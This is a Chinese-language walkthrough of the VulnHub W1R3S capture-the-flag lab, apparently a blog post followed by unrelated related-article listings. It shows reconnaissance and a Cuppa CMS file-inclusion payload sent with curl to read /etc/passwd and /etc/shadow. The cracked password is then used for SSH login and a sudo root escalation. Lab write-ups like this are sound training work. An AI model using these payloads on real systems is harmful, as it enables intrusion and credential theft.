前言

您受聘在W1R3S.inc单个服务器上进行渗透测试,并报告所有发现。他们要求您获得root访问权限并找到标志(位于/root目录中)。

难以获得低特权外壳:初级/中级

获得特权升级的难度:初级/中级

关于:这是一个易受攻击的Ubuntu盒子,给了你一些真实世界的场景,让我想起了OSCP实验室。

如果你需要任何提示、建议或有问题,请随时给我发电子邮件:在gmaildot.com上查看电线。

靶场环境

kali 192.168.31.153

w1r3s-1 192.168.31.42

靶机环境地址:https://www.vulnhub.com/entry/w1r3s-101,220/

渗透实战

信息收集

nmap扫描网段探测存活主机

nmap 192.168.31.0/24

发现了192.168.31.42,访问http://192.168.31.42,是一个普通的apache界面

使用nmap或者Zenmap扫描ip全端口信息,版本信息,操作系统信息

nmap 192.168.31.42 -sV -O -p- -A
-sV 扫描版本信息
-O 扫描操作系统
-p- 扫描全端口
-A 扫描详细信息

发现有ftp的21端口,并且允许匿名用户登录anonymous,展示了ftp下的三个文件

接着就是ssh的22端口,80端口和mysql的3306端口,并且3306端口并不是管理员端口

操作系统是ubuntu linux 3.x或者4.x版本

接着使用目录扫描器dirsearch简单枚举web页面

发现了/administrator/index.php,/wordpress/wp-login.php这俩目录

还有一点就是,扫描出的结果不能仅仅关注状态码为200的结果,可以看看301 302有些是可以跳转到其他地址的,访问http://192.168.31.42/administrator/index.php会跳转到http://192.168.31.42/administrator/installation/一个安装界面

使用whatweb扫描网站信息

whatweb http://192.168.31.42/administrator/installation/

发现网站是Apache2.4.18,Cuppa CMS 搭建的

到此就简单收集了端口信息和枚举了web页面

根据端口信息得到ftp的21端口可以匿名登录,我们使用ftp 192.168.31.42登录

ftp 192.168.31.42
anonymous //回车后需要输入密码,我们直接再回车一次匿名登录
ls
get content

登录成功但是无法提取文件,只能从web界面入手

渗透入侵

已知是Cuppa CMS搭建的系统,直接在https://www.exploit-db.com查找Cuppa此内容管理系统的历史漏洞,发现了有一个 本地/远程文件包含漏洞

看到左上角的EDB-ID:25971 是一家归档了的编号,可以拿到编号去kali使用searchsploit查找归档的信息或者脚本

查看poc提示,需要去包含一个文件,这里我直接访问/etc/passwd

http://192.168.31.42/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

发现并没有显示信息,可能是需要post访问

使用curl工具以post方式获取信息

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.42/administrator/alerts/alertConfigField.php

发现了w1r3s的用户和root有/bin/bash权限

现在已知用户,要去查找密码,我们继续获取/etc/shadow文件的密码信息

curl -s  --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.31.42/administrator/alerts/alertConfigField.php

发现有www-data和w1r3s的加密过的密码,因为只有w1r3s用户有权限,所以主要拿w1r3s的密码来爆破,这里使用kali自带的john工具爆破解密,先将用户和加密的密码复制到一个文本,再爆破

vim pass.txt
john --show pass.txt

得到密码是computer,前面已知有一个22端口,尝试登陆

ssh w1r3s@192.168.31.42
computer

提权

使用sudo su,输入密码直接登录

总结

信息收集:1.利用nmap扫描端口信息,2.dirsearch枚举web页面,3.whatweb探测网站信息

渗透webshell:1.cms漏洞获取敏感信息,2.john爆破获取w1r3s的密码,3.远程登录ssh获取webshell

提权:sudo提权

W1R3S-1项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. 华为 A800-9000 服务器 离线安装MindX DL

    MindX DL(昇腾深度学习组件)是支持 Atlas 800 训练服务器.Atlas 800 推理服务器的深度学习组件参考设计,提供昇腾 AI 处理器资源管理和监控.昇腾 AI 处理器优化调度.分布 ...

  2. day115:MoFang:种植园我的背包&种植园道具购买

    目录 1.我的背包 2.道具购买 1.我的背包 1.在种植园点击背包按钮打开我的背包 在种植园打开背包,orchard.html,代码: <!DOCTYPE html> <html& ...

  3. 使用CURL调用接口[*示例*]

    <?php header("content-type:text/html;charset=utf-8"); /* 这是 使用CURL调用接口 */ $ch = curl_in ...

  4. The first week match's conclusion

    自我声讨(不是 这周比赛有难也有易,但是我都是写得很少,摸鱼实在太严重,当然技术不到位也是一个方面,主要还是自己的问题.不再讨论 这周比赛学到.用到的的语法如下 快读 int read() { int ...

  5. React课堂笔记2

    一.JSX 1.1.什么是JSX JSX = JavaScript XML,这是React官方发明的一种JS语法(糖) 概念:JSX是 JavaScript XML(HTML)的缩写,表示在 JS 代 ...

  6. 世界读书日:推荐15本AI从入门到放弃的书

    hi,我是熵减,见字如面. 在世界读书日即将到来的前,以及借着ChatGPT的火热,各种AI大模型的创业东风,今天给大家推荐一些AI相关的图书,希望大家能从入门到放弃,找到适合自己的热爱. 本次推荐图 ...

  7. MAPPO学习笔记(1):从PPO算法开始

    由于这段时间的学习内容涉及到MAPPO算法,并且我对MAPPO算法这种多智能体算法的信息交互机制不甚了解,于是写了这个系列的笔记,目的是巩固知识,并且进行一些粗浅又滑稽的总结. 1.PPO算法的介绍 ...

  8. 【LeetCode动态规划#14】子序列系列题(最长递增子序列、最长连续递增序列、最长重复子数组、最长公共子序列)

    最长递增子序列 力扣题目链接(opens new window) 给你一个整数数组 nums ,找到其中最长严格递增子序列的长度. 子序列是由数组派生而来的序列,删除(或不删除)数组中的元素而不改变其 ...

  9. React 监听页面滚动,界面动态显示

    以下是常见的监听滚动以及相应的操作 窗口滚动事件 当页面滚动时,如何动态切换布局/样式 1. 添加滚动事件的监听/注销 1 //在componentDidMount,进行scroll事件的注册,绑定一 ...

  10. [C++提高编程] 3.3 deque容器

    文章目录 3.3 deque容器 3.3.1 deque容器基本概念 3.3.2 deque构造函数 3.3.3 deque赋值操作 3.3.4 deque大小操作 3.3.5 deque 插入和删除 ...